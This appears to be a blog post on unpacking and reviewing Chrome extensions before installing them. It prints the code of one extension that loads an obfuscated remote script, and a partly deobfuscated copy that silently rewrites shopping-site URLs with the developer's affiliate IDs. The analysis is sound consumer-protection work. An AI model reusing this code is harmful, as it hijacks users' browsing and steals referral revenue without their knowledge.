Chrome Extensions: A Peek Under the Hood

Are you curious about what exactly is in those Chrome extensions and apps you use?

Have you ever installed something from the Chrome web store and wondered just what exactly it’s doing? (You should.) Maybe you’re curious how a feature was developed, or you’re looking for ideas. Maybe you’re concerned about the numerous permissions it’s requesting, or you’ve read some disconcerting reviews and you’re worried about what the developer may be doing without your knowledge.

Any time we install software, we place ourselves at someone else’s mercy. Yes, bugs happen. At best, they’re minor and easily fixed. Worse, they’re serious (like transmitting passwords in plain text) and only get fixed after the damage is done (like a security breach). Or worse yet, the developer is using your data to make a little money on the side. We have to be vigilant about what we’re installing on our devices.

Unlike the wild west that is the Internet, the Chrome web store is a closed ecosystem. It’s under Google’s control, and they’ve vowed to take security seriously and to protect its users. So we shouldn’t have to worry, right?

After reading the above articles, I came across an extension with this comment:

While it does what it says, it also does something sneaky. It automatically appends their AMAZON AFFILIATE CODE to any URL you visit on Amazon, even replacing existing affiliate codes, essentially stealing affiliate revenue from the actual referrer. DO NOT INSTALL THIS EXTENSION if you shop on Amazon!

What’s unusual is that this comment stands in stark contrast to its reviews, currently 1324 reviews with an average rating of 4.45 / 5. Are the negative comments coming from naysayers on a clearly popular app, or are most of the users blissfully unaware of the crap they’ve installed?

I wanted to attempt to find out.

Unwrapping a Chrome Extension

If you want to take a closer look at an extension, how do you go about it?

  1. Before you can do anything else with it, you have to acquire it. Search around online and you’ll find multiple links that should work.. except they don’t. The link changes from time to time, and its currently this link (replace the underscores with the extensions unique id… it’s in the URL when you open it in the app store, and looks like kkhweldklsejjfpwjgmwkdjflwekfjek). You might also see suggestions to install it and then find the crx file… if that’s even possible, it’s stupid. The point of this exercise is to inspect it before you install it.

  2. Even better (and easier), install the Chrome extension source viewer. Someone wrote an extension that activates when you’re in the web store. It enables you to download other extensions and/or view the contents of their files from within Chrome, without installing. The author (Rob W) uploaded the source code to GitHub; he’s also a contributor to the Chromium project, and also a high contributor to Stack Overflow (with a focus on Chrome and Chrome extensions).

  3. After installing Chrome extension source viewer, open any extension in the store, and you’ll see an icon in the omnibox. Click the icon to download the extension or to view the source code in the browser.
    crx icon in the chrome omnibox

  4. An extension is basically just a zip file, renamed with a crx extension. If you download it directly, simply rename it and open it up with 7-zip or whatever and view its contents. If you use the Chrome extension source viewer, you have two options.

    • Download it, and it’ll change .crx to .zip for you.

    • View the source right in your browser. When you click “View source”, you should see a list of its files in the left pane. While this option is quicker, it seems to not list all the files when an extension contains dozens of files. Try it, but you may have to just download it.

  5. Look for the extension’s manifest.json file. Required for every extension, this file is the starting point, and describes the extension. Pay close attention to the background section, which specifies scripts or pages to run for the lifetime of the extension. Beyond that, there may be css, js, image files… whatever the particular extension needs to function correctly. The js (javascript) files are where the magic happens.

Like a Bookmark… but twice the pain and half the convenience!

First off, the scripts people write to extend Chrome are split into several categories – themes, apps and extensions.

You’ll notice that most “apps” are simply glorified shortcuts to an external site… without much glory. Instead of placing a shortcut in my bookmarks bar sand having it a single click away, I get a shortcut buried in my “apps” list, which is only available in a new tab or popup box.

Here’s the entire contents of the Netflix “app” – just a manifest.json file. As you can see, all it does is open http://www.netflix.com/.

{
    "manifest_version": 2,
    "version": "1.0.0.4",
    "update_url": "http://clients2.google.com/service/update2/crx",
    "app": {
        "launch": {
            "urls": [
                "http://www.netflix.com/"
            ],
            "web_url": "http://www.netflix.com/",
            "container": "tab"
        }
    },
    "permissions": [],
    "icons": {
        "128": "128.png"
    },
    "name": "Netflix",
    "description": "Watch movies and TV shows instantly on your Chromebook and in Google Chrome on your PC/Mac with your Netflix membership"
}

Similarly, here’s Angry Birds, which opens http://chrome.angrybirds.com:

{
    "update_url": "https://clients2.google.com/service/update2/crx",
    "app": {
        "launch": {
            "urls": [
                "http://chrome.angrybirds.com"
            ],
            "web_url": "http://chrome.angrybirds.com",
            "container": "tab"
        }
    },
    "permissions": [
        "unlimitedStorage"
    ],
    "icons": {
        "16": "16.png",
        "128": "128.png"
    },
    "version": "1.5.0.8",
    "name": "Angry Birds",
    "description": "__MSG_desc__",
    "default_locale": "en",
    "offline_enabled": true,
    "manifest_version": 2
}

Even Google does it. Here’s an app for opening the Play store.

{
    "app": {
        "launch": {
            "web_url": "https://play.google.com/store/"
        },
        "urls": [
            "https://play.google.com/store/"
        ]
    },
    "description": "A one-stop shop for all your favorite entertainment.",
    "icons": {
        "128": "ic_menu_play_128.png"
    },
    "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUdSC3iVY/YUNyhu0AAMgW/i7NAgkdr+tpXO+x5tFGFLi73SBojDIHxjJGCSCZn4rzYS2mBldsDZiA7K7PP51dpJBsAIlorEDqBqVeVFrkSV6ZuZMDGUpFGm/wE3n2AqGwkoz2DpaA4WjQfzce/K/8Oy0DsRhyHLatQaPNXieMpQIDAQAB",
    "name": "Google Play",
    "update_url": "http://clients2.google.com/service/update2/crx",
    "version": "3.1",
    "manifest_version": 2
}

None of the above are malicious. And quite a few apps do have some meat behind them, and are doing something useful. But the vast majority of apps I peeked into were of the “shortcut to a website” variety.

IMO, apps are frequently just an additional way of marketing your website.

Attack of the Clones

Now onto some extensions. When searching for any popular extension, you’re likely to see a handful of similarly-named ones.

The easiest (and laziest) way to dupe users is to copy the name and icon from a popular extension, and pick a credible author “name”. Even an experienced user might accidentally install it, if they were setting up a new machine for someone and not being careful.

For example, there are a number of Adblock Plus clones out there. I picked one at random to open up. It references a background.js file from it’s manifest, and that’s the *only *other script in the extension. So whatever awesomeness is happening, it’s going on in there. And here it is in its entirety:

chrome.runtime.onInstalled.addListener(function(details) {  
    window.open("http://www.appforchrome.com/adguard.html");
    window.open("http://www.apps45.com/adguard.html");
});
chrome.app.runtime.onLaunched.addListener(function() {  
    window.open("http://www.appforchrome.com/adguard.html");
});
if (chrome.runtime.setUninstallURL) {  
    chrome.runtime.setUninstallURL('http://www.appforchrome.com/adguard.html');
} else {}

When you install or uninstall this extension, and every time it’s “launched”, it opens up a website promoting some other extension called Adguard. Which is ironic. Wonder if Adguard blocks this clone? :p

Oh. You weren’t using that, were you..?

I came across a fun extension, aptly named MyFunCards. The only two reviews are both complaints about it overwriting the New Tab. Yep, you can override pages in Chrome, including the New Tab. Sure, the description warns you, but most people won’t get the implications of “configures your New Tab page”.

This extension configures your New Tab page to MyFunCards to provide these features.

This behavior flies in the face of what most people would reasonably expect, and is a Bad Idea. Perhaps the description should be changed.

This extension removes your ability to open a New Tab. You’ll lose basic, expected functionality!

Here it is, in the mainfest.json file. The stubby.html file references about 20 js files doing who knows what. I’m not about to bother checking into them all. Caveat emptor.

"chrome_url_overrides": {
    "newtab": "stubby.html"
},

One last thing. Why does this app need so many permissions? It’s requesting access to all of your tabs, cookies, history, downloads, your context menu, what I assume is the default icon when adding a new bookmark(!)… other stuff. WTF?

"permissions": [
    "tabs",
    "cookies",
    "history",
    "contextMenus",
    "management",
    "http://*/*",
    "https://*/*",
    "http://127.0.0.1/*",
    "http://localhost/*",
    "chrome://favicon/*",
    "downloads"
]

At best, lazy programming. At worst, abusing your trust and selling your data. Either way, it’s accessing way more than it should be.

What’s better than an auto refresher? A super auto refresher!

Alright, just one more. This whole post started when I went looking for an auto-refresher for tabs, and I found super auto refresh! Crank it to 11 baby.

volume 11

Red flag #1: The author is Adblock Plus+. I have no idea what that means, because there’s no other contact information available. That’s not the creator of the popular “Adblock Plus” extension, so it appears (to me) to be a sort of social engineering. Gain trust by using a trusted name.

I loaded the store page for Super Auto Refresh and viewed the source code. The author has specified three files to run when the app starts and the extension is loaded.

"background": {
    "scripts": [
        "js/analytics.js",
        "js/date.js",
        "js/background.js"
    ]

The background.js and date.js files seem innocuous enough. I see clearly organized code to refresh a tab, to stop refreshing when a tab is removed (closed), etc. Sensible so far.

But the analytics.js file is interesting:

var ga = document.createElement('script');  
ga.type = 'text/javascript';  
ga.async = true;  
ga.src = 'https://ssl.google-analytics.com/ga.js';  
var s = document.getElementsByTagName('script')[0];  
s.parentNode.insertBefore(ga, s);

var ga = document.createElement('script');  
ga.type = 'text/javascript';  
ga.async = true;  
ga.src = 'https://peterchouga.github.io/dist/js/ga.js';  
var s = document.getElementsByTagName('script')[0];  
s.parentNode.insertBefore(ga, s);  

This code injects two additional scripts into the top of the page. First, Google’s analytics script, then above that another script from someone’s personal Github account. Since scripts are executed sequentially, this last one will now run first. Open the new ga.js file to see… WTF?

The personal ga.js file has been majorly obfuscated. String literals and other values were moved to a string array and converted to hex codes.

var _0xe197=["\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x65\x72\x72\x6F\x72","\x6E\x61\x6D\x65","\x72\x65\x70\x6C\x61\x63\x65","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x6D\x61\x74\x63\x68","\x70\x6F\x72\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x67\x65\x74\x54\x69\x6D\x65","\x68\x6F\x73\x74","\x74\x6F\x53\x74\x72\x69\x6E\x67","\x73\x70\x6C\x69\x74","\x73\x74\x6F\x70\x50\x72\x6F\x70\x61\x67\x61\x74\x69\x6F\x6E","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x65\x61\x72\x63\x68","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x72\x65\x66","\x61\x70\x70\x6C\x79","\x70\x75\x73\x68","\x74\x65\x73\x74","\x73\x6C\x69\x63\x65","\x6C\x6F\x61\x64","\x76\x61\x6C\x75\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x70\x61\x74\x68","\x6C\x65\x6E\x67\x74\x68","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x63\x6C\x69\x65\x6E\x74\x57\x69\x64\x74\x68" ...  

Then the elements of the string array were referenced later in the code, where every method name, variable, etc has been renamed to also look like some cryptic code. Someone went through a lot of work to make sure this thing is unreadable, and nearly impossible to follow.

function ga()  
{
    var _0x24a4x2=encodeURIComponent, _0x24a4x3=Infinity, _0x24a4x4=setTimeout, da=isNaN, _0x24a4x6=Math, _0x24a4x7=decodeURIComponent;
    function _0x24a4x8(_0x24a4x9,_0x24a4xa){return _0x24a4x9[_0xe197[0]]=_0x24a4xa}
    function _0x24a4xb(_0x24a4x9,_0x24a4xa){return _0x24a4x9[_0xe197[1]]=_0x24a4xa}
    function _0x24a4xc(_0x24a4x9,_0x24a4xa){return _0x24a4x9[_0xe197[2]]=_0x24a4xa}

Red flag #2: The other js files are not similarly obfuscated. Why this one? What are they hiding in there?

First, I ran the string array through HexDecoder to produce the original string literals, providing a decoder of sorts to start replacing later references to _0xe197[0], _0xe197[1], etc.

Some of the decoded string literals were repeats from Google’s ga.js file, but here’s the “unique” stuff:

"4/17","([?&])","=.*?(&|$)","$1","$2","getUTCMilliseconds","uid","sync","storage","refres","runtime","reload","co_servername=e02cd6339407fb4fd4c0547de27c5982","https://tw.buy.yahoo.com","co_servername","window.history.replaceState(null,"","", "","")","document_start","executeScript","tabs","memid=6000006902","http://www.momoshop.com.tw","memid","cid","oid","osm","member=af000083986","http://www.groupon.com.tw","member","document_idle","gid=af000083986","http://crazymike.tw","gid","partner","addListener","onUpdated","grou","ich","100003","af000083986","afl","*://www.groupon.com.tw/","*://www.groupon.com.tw/?*","*://www.groupon.com.tw/index.php","main_frame","blocking","onBeforeRequest","webRequest","cry","oeya","*://crazymike.tw/","*://crazymike.tw/?*","6000006902","apuad","league","*://www.momoshop.com.tw/*goods*","y","e02cd6339407fb4fd4c0547de27c5982","*://tw.buy.yahoo.com/*gdsale*","http://www.books.com.tw/exep/assp.php/carlchao/products/","*://www.books.com.tw/products/*","http://www.books.com.tw/exep/assp.php/carlchao/exep/prod/dvd/dvdfile.php?item=","*://www.books.com.tw/exep/prod/dvd/*","http://www.books.com.tw/exep/assp.php/carlchao/exep/cdfile.php?item=","*://www.books.com.tw/exep/cdfile*"]

The rest of the file duplicates some of the Google script too, and then ends with this: (if a few things look weird, like var isNaN=4/17; , it may be because of my attempt to replace the obfuscated text)

var isNaN=4/17;  
var insertdelay=4*1000;

function trackpf(setTimeout2){_gaq[push]([_trackEvent,platform,setTimeout2,isNaN])}

function uQSP(setTimeout2,matcha,push){var encodeURIComponent4= new RegExp(([?&])+matcha+=.*?(&|$),i);var hostd=setTimeout2[indexOf](?)!==-1?&:?;  
if(setTimeout2[match](encodeURIComponent4)){return setTimeout2[replace](encodeURIComponent4,$1+matcha+=+push+$2)}else {return setTimeout2+hostd+matcha+=+push};  
}

function gQV(setTimeout2,matcha){if(setTimeout2[split](?)[length]===1){return null};  
var push=setTimeout2[split](?)[1];  
var encodeURIComponent4=push[split](&);  
for(var hostd=0;  
hostd<encodeURIComponent4[length];  
hostd++){var hostf=encodeURIComponent4[hostd][split](=);  
if(hostf[0]===matcha){return hostf[1]};  
};
return null;  
}

function reURLPar(toString1,toString2){var toString3=toString1[split](?);  
if(toString3[length]>=2){var toString4=encodeURIComponent(toString2)+=;  
var toString5=toString3[1][split](/[&;  
]/g);
for(var hostd=toString5[length];  
hostd-- >0;  
){if(toString5[hostd][lastIndexOf](toString4,0)!== -1){toString5[splice](hostd,1)}};
toString1=toString3[0]+?+toString5[join](&);  
if(toString5==0){return toString3[0]}else {return toString1};  
}else {return toString1};
}

var uid;

function getUniqueId(){return String( new Date()[getTime]())+String( new Date()[getUTCMilliseconds]())}

chrome[storage][sync][get](uid,function(toString8){  
if( typeof toString8[uid]===string){uid=toString8[uid]}else {uid=getUniqueId();  
chrome[storage][sync][set](<span class="crayon-sy">{</span><span class="crayon-s">"uid"</span><span class="crayon-o">:</span><span class="crayon-v">uid</span><span class="crayon-sy">}</span><span class="crayon-sy">,</span><span class="crayon-t">function</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span><span class="crayon-sy">}</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span>  
}});

_gaq[push]([_trackEvent,refres,chrome[runtime][id],isNaN]);

function reloadext(){chrome[runtime][reload]()}

setTimeout(reloadext,18*60*60*1000);

chrome[tabs][onUpdated][addListener](function(splitb,splitc,splitd){var splite=splitd[url];  
if(splite[indexOf](co_servername=e02cd6339407fb4fd4c0547de27c5982)>-1&&splite[lastIndexOf](https://tw.buy.yahoo.com,0)===0){var splitf=reURLPar(splite,co_servername);  
chrome[tabs][executeScript](splitd[id],{code:window.history.replaceState(null,"+splitd[title]+", "+splitf+"),runAt:document_start});  
}else {if(splite[indexOf](memid=6000006902)>-1&&splite[lastIndexOf](http://www.momoshop.com.tw,0)===0){var splitf=reURLPar(splite,memid);
splitf=reURLPar(splitf,cid);  
splitf=reURLPar(splitf,oid);  
splitf=reURLPar(splitf,osm);  
chrome[tabs][executeScript](splitd[id],{code:window.history.replaceState(null,"+splitd[title]+", "+splitf+"),runAt:document_start});  
}else {if(splite[indexOf](member=af000083986)>-1&&splite[lastIndexOf](http://www.groupon.com.tw,0)===0){var splitf=reURLPar(splite,utm_source);
splitf=reURLPar(splitf,utm_campaign);  
splitf=reURLPar(splitf,member);  
splitf=reURLPar(splitf,utm_medium);  
chrome[tabs][executeScript](splitd[id],{code:window.history.replaceState(null,"+splitd[title]+", "+splitf+"),runAt:document_idle});  
}else {if(splite[indexOf](gid=af000083986)>-1&&splite[lastIndexOf](http://crazymike.tw,0)===0){var splitf=reURLPar(splite,gid);
splitf=reURLPar(splitf,partner);  
chrome[tabs][executeScript](splitd[id],{code:window.history.replaceState(null,"+splitd[title]+", "+splitf+"),runAt:document_idle});  
}}}};
});

chrome[webRequest][onBeforeRequest][addListener](function(setTimeout2){if(grouRed===true&&gQV(setTimeout2[url],member)===null){setTimeout(function(){grouRed=false},insertdelay);  
trackpf(grou);  
var matcha=uQSP(setTimeout2[url],utm_source,ich);  
matcha=uQSP(matcha,utm_campaign,100003);  
matcha=uQSP(matcha,member,af000083986);  
matcha=uQSP(matcha,utm_medium,afl);  
return {redirectUrl:matcha};  
}else {return {cancel:false}}},{urls:[*://www.groupon.com.tw/,*://www.groupon.com.tw/?*,*://www.groupon.com.tw/index.php],types:[main_frame]},[blocking]);

chrome[webRequest][onBeforeRequest][addListener](function(setTimeout2){if(cryRed===true&&gQV(setTimeout2[url],gid)===null){setTimeout(function(){cryRed=false},insertdelay);  
trackpf(cry);  
var matcha=uQSP(setTimeout2[url],gid,af000083986);  
matcha=uQSP(matcha,partner,oeya);  
return {redirectUrl:matcha};  
}else {return {cancel:false}}},{urls:[*://crazymike.tw/,*://crazymike.tw/?*],types:[main_frame]},[blocking]);

chrome[webRequest][onBeforeRequest][addListener](  
  function(setTimeout2){if(mRed===true&&gQV(setTimeout2[url],memid)===null){setTimeout(function(){mRed=false},insertdelay);
trackpf(m);  
var matcha=uQSP(setTimeout2[url],memid,6000006902);  
matcha=uQSP(matcha,cid,apuad);  
matcha=uQSP(matcha,oid,1);  
matcha=uQSP(matcha,osm,league);  
return {redirectUrl:matcha};  
}else {return {cancel:false}}},{urls:[*://www.momoshop.com.tw/*goods*],types:[main_frame]},[blocking]);

chrome[webRequest][onBeforeRequest][addListener](function(setTimeout2){if(yRed===true&&(gQV(setTimeout2[url],co_servername)===null)){setTimeout(function(){yRed=false},insertdelay);  
trackpf(y);  
var matcha=uQSP(setTimeout2[url],co_servername,e02cd6339407fb4fd4c0547de27c5982);  
return {redirectUrl:matcha};  
}else {return {cancel:false}}},{urls:[*://tw.buy.yahoo.com/*gdsale*],types:[main_frame]},[blocking]);

chrome[webRequest][onBeforeRequest][addListener](function(setTimeout2){if(bRed===true&&gQV(setTimeout2[url],utm_source)===null){bRed=false;  
trackpf(b);  
var matcha=setTimeout2[url][split](?)[0][split](/)[setTimeout2[url][split](?)[0][split](/)[length]-1];  
var push=http://www.books.com.tw/exep/assp.php/carlchao/products/+matcha;  
return {redirectUrl:push};  
}else {return {cancel:false}}},{urls:[*://www.books.com.tw/products/*],types:[main_frame]},[blocking]);

chrome[webRequest][onBeforeRequest][addListener](function(setTimeout2){if(bRed===true&&gQV(setTimeout2[url],utm_source)===null){bRed=false;  
trackpf(b);  
var matcha=gQV(setTimeout2[url],item);  
var push=http://www.books.com.tw/exep/assp.php/carlchao/exep/prod/dvd/dvdfile.php?item=+matcha;  
return {redirectUrl:push};  
}else {return {cancel:false}}},{urls:[*://www.books.com.tw/exep/prod/dvd/*],types:[main_frame]},[blocking]);

chrome[webRequest][onBeforeRequest][addListener](function(setTimeout2){if(bRed===true&&gQV(setTimeout2[url],utm_source)===null){bRed=false;  
trackpf(b);  
var matcha=gQV(setTimeout2[url],item);  
var push=http://www.books.com.tw/exep/assp.php/carlchao/exep/cdfile.php?item=+matcha;  
return {redirectUrl:push};  
}else {return {cancel:false}}},{urls:[*://www.books.com.tw/exep/cdfile*],types:[main_frame]},[blocking]);

Red flag #3: There are several calls to chrome.webRequest which appear to be listening for certain URLs and, as the request is about to occur, replacing them with similar URLs and a specific referral ID, possibly in an attempt to earn money off the referrals. I don’t see mention of Amazon (re: the original comment) but something absolutely smells.

At this point, I’m crying uncle and climbing back out of the rabbit hole. This went longer than I intended. The vast majority of stuff I looked at seemed legit. But you’ve definitely got to watch what you get yourself into. If you see comments from people alluding to some shady behavior, it may be well worth 5 or 10 minutes looking into it.

Subscribe to Weekly Updates!

Get an email with the latest posts, once per week...
* indicates required